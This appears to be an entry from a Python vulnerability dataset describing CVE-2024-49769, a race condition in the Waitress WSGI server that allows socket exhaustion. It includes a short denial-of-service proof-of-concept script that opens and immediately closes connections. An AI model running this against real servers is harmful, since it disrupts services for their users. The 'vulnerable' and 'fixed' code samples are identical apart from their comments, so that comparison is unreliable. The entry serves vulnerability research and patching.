CVE-2024-49769

Race condition in Waitress leads to socket exhaustion by remote attackers.

• CVSS 7.5
• CWE-772
• Race Conditions
• Remote

Waitress is a Web Server Gateway Interface server for Python 2 and 3. When a remote client closes the connection before waitress has had the opportunity to call getpeername() waitress won't correctly clean up the connection leading to the main thread attempting to write to a socket that no longer exists, but not removing it from the list of sockets to attempt to process. This leads to a busy-loop calling the write function. A remote attacker could run waitress out of available sockets with very little resources required. Waitress 3.0.1 contains fixes that remove the race condition.

CVE

CVE-2024-49769

CWE

CWE-772

CVSS base score

7.5

Published

2024-10-29

OWASP

A05 Security Misconfiguration

Orthogonal defect classification

Algorithm

Code defect classification

Timing Issues

Category

Race Conditions

Subcategory

Socket Handle Leaks

Accessibility scope

Remote

Impact

Denial of Service (DoS)

Affected component

Waitress

Fixed by upgrading

Yes

Solution

Upgrade to Waitress version 3.0.1 or later.

from waitress import serve

def app(environ, start_response):
    """Vulnerable function that demonstrates the security issue."""
    status = '200 OK'
    headers = [('Content-type', 'text/plain')]
    start_response(status, headers)
    return [b'Hello, World!']

# Start the server with a vulnerable version of Waitress (before the fix)
serve(app, host='0.0.0.0', port=8080)

from waitress import serve

def app(environ, start_response):
    """Secure function that fixes the vulnerability."""
    status = '200 OK'
    headers = [('Content-type', 'text/plain')]
    start_response(status, headers)
    return [b'Hello, World!']

# Start the server with the fixed version of Waitress
serve(app, host='0.0.0.0', port=8080)

import socket
import time

def exploit_waitress(target_ip, target_port):
    # Create a socket connection to the target
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    
    # Send a request to the server
    sock.sendall(b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nConnection: close\r\n\r\n")
    
    # Close the connection immediately
    sock.close()
    
    # Sleep to allow the server to attempt to write to the closed socket
    time.sleep(0.1)

# Example usage
exploit_waitress('127.0.0.1', 8080)

@misc{vaitp:cve202449769,
  title        = {{Race condition in Waitress leads to socket exhaustion by remote attackers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-49769},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-49769/}}
}